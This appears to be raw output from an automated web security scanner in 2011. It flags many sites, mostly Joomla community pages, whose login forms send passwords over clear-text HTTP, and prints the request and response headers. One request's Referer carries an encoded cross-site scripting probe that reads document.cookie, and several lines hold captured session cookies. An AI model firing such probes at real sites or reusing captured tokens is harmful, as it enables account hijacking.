http://wordpress.org/extend/plugins/bb-login.php
The form contains the following password field:
password
Request
GET /extend/plugins/tweetmeme/ HTTP/1.1 Host: wordpress.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx Date: Tue, 25 Jan 2011 14:03:11 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Content-Length: 23579
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"><head profil ...[SNIP]... </h2>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://wordpress.org/extend/plugins/bb-login.php
The form contains the following password field:
password
Request
GET /extend/plugins/wp-pagenavi/ HTTP/1.1 Host: wordpress.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx Date: Mon, 24 Jan 2011 23:11:13 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Content-Length: 23604
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"><head profil ...[SNIP]... </h2>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.adside.com/adside/advertiser.html
The form contains the following password field:
password
Request
GET /adside/advertiser.html HTTP/1.1 Host: www.adside.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:23 GMT ETag: W/"14556-1295025731000" Last-Modified: Fri, 14 Jan 2011 17:22:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 14556 Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.adside.com/adside/publisher.html
The form contains the following password field:
password
Request
GET /adside/publisher.html HTTP/1.1 Host: www.adside.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:22 GMT ETag: W/"8990-1295025731000" Last-Modified: Fri, 14 Jan 2011 17:22:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 8990 Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.americascupmedia.com/index.php
The form contains the following password field:
psw
Request
GET /index.php HTTP/1.1 Host: www.americascupmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:06:26 GMT Server: Apache Set-Cookie: PHPSESSID=69ffa747e74ec3fc598608ba70c8ece5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 63617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Americas Cup Media</ ...[SNIP]... <td colspan='2' class='typo_login' align='center'> <form name='identification' action='' method='get' enctype="multipart/form-data"><div id='tab_identite' style='display:none; '> ...[SNIP]... <input name="login" id='login' type="text" class="form" > psw <input name="psw" id='psw' type="password" class="form" > <input type="button" class="form" value="ok" name="submit" id='validezlogin' rel='The "Email" field is not adequately filled'> ...[SNIP]...
GET /soundings/ HTTP/1.1 Host: www.barkerstores.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 14:24:37 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Set-Cookie: ASP.NET_SessionId=etd10v55qnlha3bgxe4zk255; path=/ Set-Cookie: chk_support=check; path=/ Set-Cookie: SOU_CustID=SOU13989; path=/ Set-Cookie: SOU_CartID=SOU-9E35923E-12511; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 26388
GET /forums/showthread.php HTTP/1.1 Host: www.dynamicdrive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.eraser.ee/uudised/joomla.html
The form contains the following password field:
passwd
Request
GET /uudised/joomla/329-joomla-16-on-saabunud.html HTTP/1.1 Host: www.eraser.ee Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.facebook.com/
The form contains the following password field:
reg_passwd__
Request
GET / HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=fYoRD; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:00 GMT Content-Length: 30560
GET /n/Nonude-Young-and-Beauty-Pretty-Girl-teen-NN-usenet-binaries/x22 HTTP/1.1 Host: www.heroturko.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><head> <title>Nonude Young and Beauty Pretty Girl teen NN usenet binariesx22 H ...[SNIP]... <div style="overflow: hidden; margin-bottom: 25px; padding-right: 15px;"> <form id="loginform" method="post" onsubmit="javascript:showBusyLayer()" action=''>
GET /berita-joomla/648-joomla-16-telah-datang HTTP/1.1 Host: www.id-joomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:45:23 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.17 Set-Cookie: 49291818acdf6a0853370bd89db83d1e=s0aevrt4jrilpgl4pva0tih570; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 16:45:23 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 45105
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.joomla.org/login.html
The form contains the following password field:
passwd
Request
GET /login.html HTTP/1.1 Host: www.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11952431.1295835652.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=11952431.1446326731.1295835652.1295835652.1295835652.1; __utmc=11952431; __utmb=11952431.5.10.1295835652; 205e0a4a54bf75ec79a0fa3b9dc85fc0=41c830520f611d83ab14393c6f4ccb01;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:22:24 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Mon, 24 Jan 2011 02:22:24 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 35785
GET /news/joomla-official-news/163-joomla16-arrived HTTP/1.1 Host: www.joomla.org.tw Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:14 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: a798c6463d2f54ee9d166568119e0c09=806uqp0b11fh0lrh0emunokum3; path=/ Last-Modified: Mon, 24 Jan 2011 16:01:14 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 56494
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.joomlacommunity.eu/index.php
The form contains the following password field:
passwd
Request
GET /nieuws/joomla-versies/572-joomla-16-nu-beschikbaar.html HTTP/1.1 Host: www.joomlacommunity.eu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:07 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: f2b89666f144681ba17ab9a0996f50e0=fc830a5138c7cd5b8f7f3fa60df9a70c; path=/ Last-Modified: Mon, 24 Jan 2011 16:01:12 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 64750
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script src="http://www.jo ...[SNIP]... </h3>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.joomlacorner.com/joomla-news/index.php
The form contains the following password field:
passwd
Request
GET /joomla-news/608-joomla-16-has-arrived.html HTTP/1.1 Host: www.joomlacorner.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:02 GMT Server: Apache/2 X-Powered-By: PHP/5.2.16 Set-Cookie: 992260232bef5a730b1bd291176df96d=4a98f8c53f4541210928f4c67e558242; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: ja_anion_tpl=ja_anion; expires=Sat, 14-Jan-2012 15:16:02 GMT; path=/ Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:16:02 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31997
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.linkagogo.com/go/AddNoPopup
The form contains the following password field:
password
Request
GET /go/AddNoPopup HTTP/1.1 Host: www.linkagogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.lithuanianjoomla.com/index.php
The form contains the following password field:
password
Request
GET / HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:32 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 21729
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.lithuanianjoomla.com/
The form contains the following password field:
password
Request
GET /7-joomla-naujienos/70-joomla-160-isleista.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:25 GMT Server: Apache Set-Cookie: 2d3002958ebe475c6a8e5c841c44742a=ab02d207ed15eb2c3afc574ced1efe67; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 16612
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.lithuanianjoomla.com/apie-joomla.html
The form contains the following password field:
password
Request
GET /apie-joomla.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:04 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 21493
GET /component/users/ HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:27 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13648
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <div class="login">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.lithuanianjoomla.com/component/users/
The form contains the following password field:
password
Request
GET /component/users/ HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:27 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13648
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.lithuanianjoomla.com/index.php
The form contains the following password field:
password
Request
GET /index.php HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html X-Requested-With: XMLHttpRequest Accept: text/javascript, text/html, application/xml, text/xml, */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:16:20 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 21848
GET /joomla-naujienos.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:06 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 21320
GET /joomla-naujienos/2-laikas-isrinkti-geriausia-pasaulyje-tvs.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:16 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16695
GET /joomla-naujienos/3-lithuanianjoomlacom-logotipo-konkursas.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:15 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 17552
GET /joomla-naujienos/4-lietuviskas-joomla-puslapis-lithuanianjoomlacom.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:00 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 14423
GET /joomla-naujienos/5-pirmasis-joomla-gimtadienis.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:25 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 19125
GET /joomla-naujienos/6-joomla-vel-laimejo-geriausios-tvs-apdavanojimus.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:53 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16181
GET /joomla-naujienos/65-joomla-1522-versija-istaiso-saugumo-spraga.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:51 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15915
GET /joomla-naujienos/67-joomla-16-rc1-versija.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:37 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16738
GET /joomla-naujienos/68-joomla-sveikinimas-sv-kaledu-ir-naujuju-metu-proga.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:36 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15902
GET /joomla-naujienos/69-lithuanianjoomlacom-atnaujinama.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:34 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15943
GET /joomla-naujienos/70-joomla-16-isleista.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:33 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16643
GET /joomla-naujienos/71-lietuviu-kalba-joomla-16-versijai.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:32 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15599
GET /joomla-sasajos.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:14 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 14582
GET /joomla-saugumas.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:23 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13965
GET /joomla-versijos.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:29 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16049
GET /kaip-idiegti-joomla.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:11 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 14060
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.lithuanianjoomla.com/kontaktai.html
The form contains the following password field:
password
Request
GET /kontaktai.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:53 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 17140
GET /lithuanianjoomlacom-misija.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:37 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13425
GET /lithuanianjoomlacom-vizija.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:48 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13484
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.lithuanianjoomla.com/naujienos.html
The form contains the following password field:
password
Request
